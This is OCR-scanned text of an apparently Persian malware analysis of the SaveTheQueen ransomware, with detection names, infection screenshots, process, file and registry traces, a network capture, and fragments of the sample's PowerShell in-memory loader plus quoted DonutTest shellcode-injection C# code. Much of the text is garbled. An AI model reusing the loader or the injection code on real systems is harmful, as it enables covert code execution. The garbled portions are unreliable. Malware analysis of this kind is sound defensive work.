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25 Nov 2019 (Bl o
8775ED26068788279726E08FFI9665AAB MD5 s
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Trojan. GenerickD. 32753802

Ransom\Win32/Pegazus. 21328008

Malicious

Win32:Malware-gen

TR/Dropper.Gen2

) Mahware@#36tchSgsatysy

1) Unsafe

1) Trojan.GenerickD. 32752802 (B)
1) Trojan.GenerickD.32753802

) Trojan.TR/Dropper.Gen2

W32/Encoder IVKHSITHr.ransom

1) Trojan.Dropper

) Riskware [ 0040ef71)

") HEUR:Trojan-Ransom.MSIL.Encoder.gen
1) Malware (ai Score=100)

1) RDMN/Ranzom

) Trojan.\Win32 RevetRat gitzd

) TrfGdSda A

___j Trojan.Win32_Ransom.ie (CLASSIC)

MaliGeneric-5

Ransom/\W32 DN-Encoder 1036258

(1) Ransom.MSIL SAVEQUEEN.A

Trojan.Win32 Generic!BT

Trojan.Encoder. \Win32.1200

ymO@acL2nPm

AhnLab-V3

AlYac

Arcabit

AVG

BitDefender

CAT-QuickHeal

CrowdStrike Falcon

Cyren

eGambit

Endgame

ESET-NOD32

FireEye

GData

Jiangmin

KTGW

Malwarebytes

McAfee

Microsoft

Palo Alto Networks

Qihoo-360

Sangfor Engine Zero

Symantec

Trapmine

TrendMicro-HouseCall

ViRobot

Yandex

ZoneAlarm by Check Point
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m
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) Winfmalicious_confidence_80% (W)

Malware/\Win32.RL_Generic. C3600855
Trojan.Ransom. Filecoder

Trojan.Generic. D1F3CEEA

Win32:Malware-gen

1) Trojan.GenerickD. 32753802

(1) TrojanRansom MSIL

e

1) W32Trojan REZE-6142

Unzafe.Al_Score_100%

) Malicious (high Confidence)
1) AVariant Of Generilc IVKHSIT

1) Trojan.GenerickD. 32753802

Trojan. GenerickD.32753802

T Trojan MSIL.nnjy

) Riskware ( 0040eff71)

) Ransom.FileCryptor

1) RDN/Ransom

1) Ransom:Win32iJemdIMSR
) Generic.m

1) Win32Trojan Ransom.d23

1) Malware

Downloader

) Malicious. moderate.ml.score

(1) Ransom.MSIL SAVEQUEEN.A

Trojan.Win32.S.Ransom. 1036288

Trojan AgentgwWIGTnvgCs

') HEUR:Trojan-Dropper.Win32 Pegazus.gen
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=% EoR ™=
@Qv‘ » Computer » Local Disk (D:) » test » documents v ‘ 6,” Search documents j e
Organize v | | Open New folder = v Gl ®
 Favorites Name ’ Ddtc.r‘,v?ji.ft':d : T.pc : Size =
| HIUEA LSOV E | e UEEn ALs NI LVAD AAiTD o AL B IR u
|| JobVision MBTI_82394_Abolfazl Aligholiv... 12/24/201911:39 SAVETHE( 1 KB
w4 Libraries __| MyResume.pdf.SaveTheQueen 12/24/2019 11:39 8
|| petrol_consumption.csv.SaveTheQueen 12/24/201911:39 K
& Homegroup |_| Resume .docx.SaveTheQueen 12/24/201911:40 . S S KB
|_| RFC.py.SaveTheQueen 12/24/2019 11:40 SAVETHE KB
1M Computer __| RIF Request Letter - VRDC 0.docx.SaveTh.. 12/24/2019 11:40 AVE K8
& Local Disk (C:) L] #verb.doox.SaveTheQueen 12/24/2019 11:40 . 5,015 Kt
. Local Disk (:) | Schedule.docx.SaveTheQueen 12/24/2019 11:4( 5K8
~ || software-objectoriented(www.tahlildade... 12/24/2019 11:40 SAVETHE( KB
M Network ___ Train_50.pkl.SaveTheQueen 12/24/2019 11:40 353 K8
|| wp_the_taidoor_campaign.pdf.SaveTheQ... 12/24/201911:40 . 123 K |
| 4 Jwaidocx.SaveTheQueen 12/24/2019 11:4( F 158 KB 1
|| 6 Jwad .docx.SaveTheQueen 12/24/2019 11:40 SAVET 556 KB
L 123 Jsad .docx.SaveTheQueen 12/24/2019 11:40 AVE
L 5 Jyad.docx.SaveTheQueen 12/24/2019 11:40 . -
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BN C\Windows\systemn32\cmd.exe El@

Microzoft Windows [Uerszion 6.1.76011
Copyright <c> 2007 Microsoft Corporation. All rights reserved.

C:swlserssTahlilgarsDesktopl

| - -
odd 35 (g by LB (5,138 50, g emd (12l - S

7| SaveTheCQueen.LOG - Notepad - O >
File Edit Format View Help
CLR: 2.8.58727.8762
Drive: C:\ D:Y
Total: 3936
EEE 465.71 Sec / 7.76 min

Ln 7, Col 1 100%  Windows (CRLF) UTF-8
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T Exeinfo PE - ver.0.0.5.0 by AS.L - 1015+67 sign 2018.03.31

File : | SaveTheQueen.exe

Entry Point :  QOOFBGSE oo . EP Section @ text

[ i

File Offset : DOOFAGSE FirstBytes : FF.25.00.20.40 -

@‘ Linker Info ¢ &.00 SubSystem :  Win Console

FleSize:  0DOFDO0OK (u] overday: w0 ooooo000 f,—)
W

Image is 32hit executable RES/OVL:0 / O % 2019

Microsaft Visual C# f Basic.MET f MS Visual Basic 2005 [ Obfus/Crypted [Smn ‘rt]
Lamer Info - Help Hint - Unpadk info

-= Explore and analyze .MET assemblies with .MET Reflector vB.0 - ww @ @

AL gy P S

Slsies JiloolSes el Il 5l ooliiad Ly 5 ol 00ty (gjlwosly 5 b Cols cmmgitols s a5l ooliil b I35l
8l caws ol gleas @

oot 8 590 il g Ailulis Y—F

S9z g0 SLaluliS 5 @l (o) 2 plan I Cunl ould (g3luosly g dnwgs SOl Larmme ;o )l (ol aSul 4 4z gi L
odplice 8l sloaS wyp s Ll oS canlie |, mscoree.dll wbuls g o laid 920 slo,lpl lawgs
Al g0 51 58l ol jo 1 Ll o solawl 50 Kernel32.dll ocws ol 5l ojlge > 0 a5 w0 )8
Sl 00ls eolazwl mscoree.dll 3 Kernel32.dll

oliul b ()3 &S wdlos ovaline LB ) Jsoz )0 3 Jrewlpms plle (wyiwd BB 5 05290 slaats,
Wloads Lo ol sols pogie 5 e a5 Ulssl sloard, &' g lupges Ollas

Sidlay BB sl 2zl LB sleas, -Y Jgu

-

IThis program cannot be run in DOS mode.
SaveTheQueen.exe
PowerShell
SaveTheQueen.exe
ReadConsoleOutput
WriteConsoleOutput
ReadConsoleQutputW
WriteConsoleOutputW
ScrollConsoleScreenBuffer
FILE_TYPE_UNKNOWN
FILE_TYPE_DISK
FILE_TYPE_CHAR
FILE_TYPE_PIPE
FILE_TYPE_REMOTE
Console
PS2EXEHostRawUI
PS2EXEApp

PS2EXE

BufferCell

KeylInfo

ReadKeyOptions
ReadKey
ForegroundColor
MaxWindowSize
WindowPosition

ReadLine

SecureString

getPassword

Obfuscation
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WriteProgress
WriteVerboseLine
WriteWarningLine
SetShouldEXxit
IpWriteRegion
DllimportAttribute
kernel32.dll
get_Key
get_KeyChar

Hit any key to exit...

)|)'é‘..\.3 JJ[B r:lj (s Cﬁ‘ PRy vown 6‘?‘ C>) pOWEfShB" 97 6‘5‘)9-" & O‘S:;Ls‘ L&bd.:.;l}) Cﬁ‘ O )"
2,5 o lil o e g (Kernell32.dll) oo Import e aslolis” (SaveTheQueen.exe)

31910 faw gl ous ol sl g 9 ¥Y—F
yene 55 CMA LB ol g gl Gy )0 Slpets Jloel 5ham Jl8lay w57 58 50 WS a5 jshailen
ool Jlad 158000 bawgs g SO LS 1 00 oo 1) 095 Lol g g 03,5 LI, T \Windows\System32\
ples ygiws (ol a5 0S8 o 1l 1) (g giws CMA Lo 5l oolitwl b aas o dalol 1) 055 0y slacIled ] awgs
0 R IS8 0eb e Jol 1) (a8 dalss o)Ll oS Jdod i 50) e Sla bl (65135750, 5 2l o slacJlas

Do oo s 1y ol sla g p

Process Description Image Path Life Time Company COwner Command
= SaveTheQueen.exs (3096) C:\Users\Tahlilgar'\Desktop'Save TheQueen exe - Tahliigar-PC\Tahlil... "C:\Users'Tahlilgar\Des...
g cmd exe (2328) Windows Command Processor C\Windows'\system32'cmd exe - Microsoft Comporat... Tahlilgar-PChTahlil... "C:\Windows'system32\. ..

4 I 2

(Process Tree) ,l5sly Lugs oo Slg1,8 slo gy py -V S

o sloxst glo Ji6 F—F

b cpl a5 widl o Bl Syge 0 cpl aS e ol o |y emdiexe lal BB e 4 JUl 1 as l5sl
wolb oo Joe cploaims lis g5 S0 0gh o0 allisl B BB (g5, p 0929 Dyse o b ol alila 092 ol >

= ateFile SWindows \System 32emd .exe

B\ CreateFil C:\Windows"System32\cmd

= ateFile SWindowshSystem 32hemd exe

r—__-]\Cre Fil CAWindows™\5 32emd

= ateFile SWindowshSystem 32%emd exe

r—__-]\Cre Fil CWindows 5 32emd

= ateFile SWindows'System 22 omd exeSone |dentifier
:—_-]\Cre Fil CAWindows 5 32emd Zone |dentif
o atekile MLsersh Tahlilgar.Desktop

r-__-}Cre Fil CMUzers\Tahligar.Deskt

o atefile SWindowsoystem 22omd exe

r—__-}.Cre Fil CAWindows 5 32cmd

r—__-:i\CreateFiIe CWindows™System 32 \apphelp di

= ateFile SWindowsaoystem 32 apphelp.

r-__-]nl&'e Fil CAWindows S 32 help dil

ﬂu&eate File CAWindows"Prefetch\CMD EXE-4AZ1B364 pf

3l Lasgt ot ol gla L3 -A S

(F JSo) Sledbl Jolss a5 wiS oo olm! 5y S &g SaveTheQueen.LOG sL L 1) e bl G (puioron

Al 0 0,0 g 00l io, sla b slasi 550 0

Ein.&eate File C:ProgramDatat. Save Thelueen LOG
I—__-:}Create File C:%ProgamDatat. Save TheQueen LOG

1531y Laogs o byl e -4 S

Sy 3 O gk O—F
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HKC U Software \Microsoft \Windows \Cument Version ntemet SettingsZoneMap*ProxyBypass
HKC LM Software\Microsoft \WWindows \Cument Version ntemet Settings'ZoneMap*Intranet Mame
HKC UM Software\Microsoft \Windows \Cumert Versionntemet Settings'ZoneMap ' UNCAs Intranet
HEC UM Software  Microsaft  Windows \Cument Version Irtemet Settings*ZoneMap®AutaDetect
HEC UM SoftwareMicrosaft\ Windows \Cument VersionImtemet Settings*ZoneMap*ProogyBypass
HEC UM Software Microsoft\ Windows \Cument VersionIrtemet SettingsZoneMap*Intranet Name
HEC UM Software\Microsaoft\ Windows \Cument Version®ntemet Settings'ZoneMap  UNCAsIntranest
HEC UM Software \Microsoft \ Windows \Cument Version*rtemet Settings*ZoneMap*AutoDetect
i )3 (S ) S Eud g s -V S8

2 i 6590 slaadS 005 o cud oyl awgs ST laaldS ol wcalisee slal bzl jo 48,5 & igo sla gw,yp 50

355 031 515 ladisas & Glyicse 45 33,5 oo b 5 ol T a3y Slod Jsb
e HKCU\Software\Microsoft\RestartManager\Session0000\Owner
e HKCU\Software\Microsoft\RestartManager\Session0000\SessionHash
e HKCU\Software\Microsoft\RestartManager\Session0000\Sequence
e HKCU\Software\Microsoft\RestartManager\Session0000\RegFiles0000
e HKCU\Software\Microsoft\RestartManager\Session0000\RegFilesHash

o ) SMiged 2 IS8 0,50 salive a5t SlbLS )l p (de (Sad £98 gud plasw o )l clad b o
Al oo AL Coomw o 38l Codled pae SSlo a5 aeo oo ylid S8lay cdlad g |al Jobo jo 1) 4Kl

A Capturing from Local Area Connection EIIEI
File Edit View Go Capture Analyze Statistics Telepheny Wireless Tools  Help
R XRE QAe=s=sFsFE QR
(N |i|:l.addr|== 192.168.6.128 HE3 '] Expression... +
Mo. Time Source Destination Protocol  Length Info
35 113.194451 192.168.6.128 192.168.6.2 NENS 118 Refresh NB TAHLILGAR-PC<28>
37 114.7@7287 192.168.6.128 192.168.6.2 MNENS 118 Refresh NB TAHLILGAR-PC<2@>
39 116.219922 192.168.6.128 152.168.6.2 NBENS 118 Refresh NB TAHLILGAR-PC<2@>
51 144.328757 192.168.6.128 192.168.6.2 NENS 92 Name query NE TAHLILGAR-PC<lc>
53 146.3486874 192.168.6.128 192.168.6.2 NBNS 92 Name query NB TAHLILGAR-PC<1c>
54 147.852628 192.168.6.128 192.168.6.2 NENS 92 Name query NBE TAHLILGAR-PC<lc>
56 149.412918 192.168.6.128 192.168.6.255 MNENS 92 Name query NBE TAHLILGAR-PC<1c>
59 158.177237 192.168.6.128 192.168.6.255 NBENS 92 Name query NBE TAHLILGAR-PC<lcx
68 158.941431 192.168.6.128 192.168.6.255 NENS 92 Name query NE TAHLILGAR-PC<lc>
» Frame 35: 118 bytes on wire (88@ bits), 11@ bytes captured (88@ bits) on interface @ -
> Ethernet II, Src: Vmware_78:82:3a (@0:0c:29:78:82:3a), Dst: Vmware_e2:b3:e8 (80:508:56:e2:b3:e8) |_‘
> Internet Protocol Version 4, Src: 192.168.6.128, Dst: 192.168.6.2 ;
» User Datagram Protocol, Src Port: 137, Dst Port: 137
s Kla+PR TS Kl=m, Carri i
B@ 58 56 =2 b3 eB B0 B8c 29 73 @2 aa B3 @@ 45 @0 PV )% auE -
@@ 68 B84 @7 8@ B8 58 11 B8 B8 cB ad 86 B8 c@ ab W ieaeas aeaeaaas
BG B2 B2 B9 @@ 89 @@ 4c B8e 30 b7 74 48 PO BB AL ....... L .8.t@... ‘E
BE 80 B2 B2 B8 Bl 20 46 45 45 42 45 49 45 4d 45 ..., F EEBEIEME B
4a 45 4d 45 48 45 42 46 43 43 4e 46 41 45 44 43 JEMEHEBF CCNFAEDC
O #  Local Area Connection: <live capture in progress> Packets: 75 * Displayed: 9 {12.0%) Profile: Default
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;.7;' System Information = = || &2
¥

summary |cPU | Memory o [epu |

CPU

4.31%

System Commit

506.2 MB
Physical Memory
645.8 MB
/o
I ! N .1&1 ||H .tll.a ﬁ&
0 AK LA, W T i
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Result Address A Size A Address B Size B
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start cmd.exe

on.GZipStream([I0.MemoryStream] [Convert]: : FromBase645tring($v4), [I0.Compression.CompressionMode]: :Decompress)
ject Byte[](1 777)

.Read($bb, @, 1824*777)
[Reflection.Assembly]: :Load($bb)

[ShellcodeTest.Program4]: :Main(@($procid))

,_.Exception.Message Out-String

powershell lowgs sois >l jgiws oodol -VA - S

S,5 caalin |y pj Sbgio Q‘?}sﬁ VA4 @iy bod 5l aw

Text

P
Result
Execution time: 42538 us Compression ratio: 44 % Original size: 137393 bytes Result size: 311808 bytas
MZeOOOOOOODOD¢e¢ld04¢l000000@OOOOOOOOOONOOOOO0OO0000000000000000004O00000400¢
© '€ 0L@!This program cannot be run in DOS mode.
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n.GZipStream([I0.MemoryStream] [Convert]: :FromBase645tring

¥, [I0.Compression.CompressionMode]: :Decompr
)

$gg.Read($bb, @, 1824%777)
[Reflection.Assembly]: :Load($bb)
[ShellcodeTest.Program3]: :Main (@($procid)}
_-Exception.Me Out-5tring

#Sleep 27

#cat "$env:ProgramData’ veTheQueen.LDG" | out-string | Out-File $p -Append

powershell ;s 138l lowgs jgiws Cross gly>! -V S

..LQLLgkj;o g_ro);L~u~> nglé ) C;{)544:g L&b)|}e‘ J:;u455 <X§.JB) ‘_Li.xfs }‘ mer) 4}$J V3 )|gX340
Text

4
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Result

Execution time: 36233 us Compression ratio: 44 % Original size: 136879 bytes Result size: 310784 bytes
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(WrapMonException
$3c2a6b88-bed2-4ba8-964c-77ec29bf1
¥x_CorDllMainmscoree.dll

4VS5_ VERSION_TNFO

VarFileInfofOTranslation

StringFileInfoP

aaaaadba

Comments”

CompanyMName
FileDescriptionDonutTest@OOFileVersionl.@.8.88
InternalMameGodTest.dl1HOOLegalCopyrightCopyri
LegalTrademarks

OriginalFilenameGodTest.d1l
ProductNameDonutTest4

ProductVersionl.®.8.038
mbly Versionl.e.@.8

oas Decompress ais, jo xilss LB sl sy 5l glages -YY S

090 gyl 4O ShellCode )9\30‘) )‘ S» 6L®)L§ 6‘).3 as ML’LSA k_JLQ&.Mf ) )l.!w 0595 LSJ DonutTest 059,
8,0 6l 3,90 059, wyol (0l Base64String &, gar 2L Shellcode il jgiws)s .5 oo 1,8 soliiwl 5,50 L

b p ©jga o
https://github.com/TheWover/donut/tree/master/DonutTest

Branch: master v | donut / DonutTest / Create new file = Upload files | Find file = History
. odzhan removed redundant files Latest commit 26229fd 4 days ago
| Froperties v(0.9 Release 8 months ago
E| App.config v(0.9 Release & months ago
[E| DonutTest.csproj v(0.9 Release & months ago
[E] DonutTest.sIn v(0.9 Release & months ago
[E] Hello.cs v(0.9 Release & months ago
[E) Program.cs v0.9 Release 8 months ago
[E Readme.md update docs 4 day

B calcjs upd

E] calcvbs upd 4 months ago
& dlltest.c removed redundant files 4 days ago
[El rundotnet.cpp v(.9 Release & months ago
[El rundotnet.exe v(0.9 Release & months ago

cleos o DonutTest o5, ooums LSis sloidu -V S
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DonutTest

A simple C# shellcode remote injector to use in testing donut. It contains both x86 and x64 versions of the shellcode,
determines the architecture of the target process, and then injects the appropriate versicn into that process with
CreateRemoteThread. The shellcode must be Base64-encoded and dropped into the code as a string. This ensures that it can

be run entirely from memaory.

You may Base64-encode your shellcode and copy it to your clipboard with the PowerShell below:

$filename = "C:\\Testh\donut\\loader.bin"
[Convert]::ToBaseedString([I0.File]: :ReadAllBytes($filename)) | clip

Usage:
DonutTest.exe [PID]

If no PID is specified, then DonutTest will inject the shellcode into itself.

DonutTest sl 5550 Lazal, LB-YF S

WS oo HLAS g S (59,0 50 L WSS oy sbeaS n sladSs
static vold Main(string[] args)
i
if (args.Length »= 1}
pid = Convert.ToInt3Z(args[@]);

Inject(x86, w64, pid);

Gy &b S8 s DonutTest Lol £ -v0 s
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public static int Imject(string x86, string x64, int procPID)
{

Process targetProcess = Process.GetProcessByIld(procPID);

Cansole.Writeline(targetProcess.Id);

if (IsWowG4Process(targetProcess) == true)
s = X86;

slca

= = xbd;
byte[] shellcode = Convert.FromBasefdString(sz);
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VWM_OPERATIOM | PROCESS_VM_WRITE | P
IntPtr allocMemiddress = WirtuslAllocEx(procHandle, IntPtr.Zero, (uint)shellcode.length, MEM_COMMIT MEM_RESERVE, PAGE_EXECUTE

UIntPtr bytesWritten;

WriteProcessMemory (procHandle, allocMemaddress, shellcode, (uint)shellcode.lLength, out byteskritten);
CreateRemoteThread{procHandle, IntPtr.Zero, @, allocMemaddress, IntPtr.Zero, 8, IntPtr.Zeroc);
return @;
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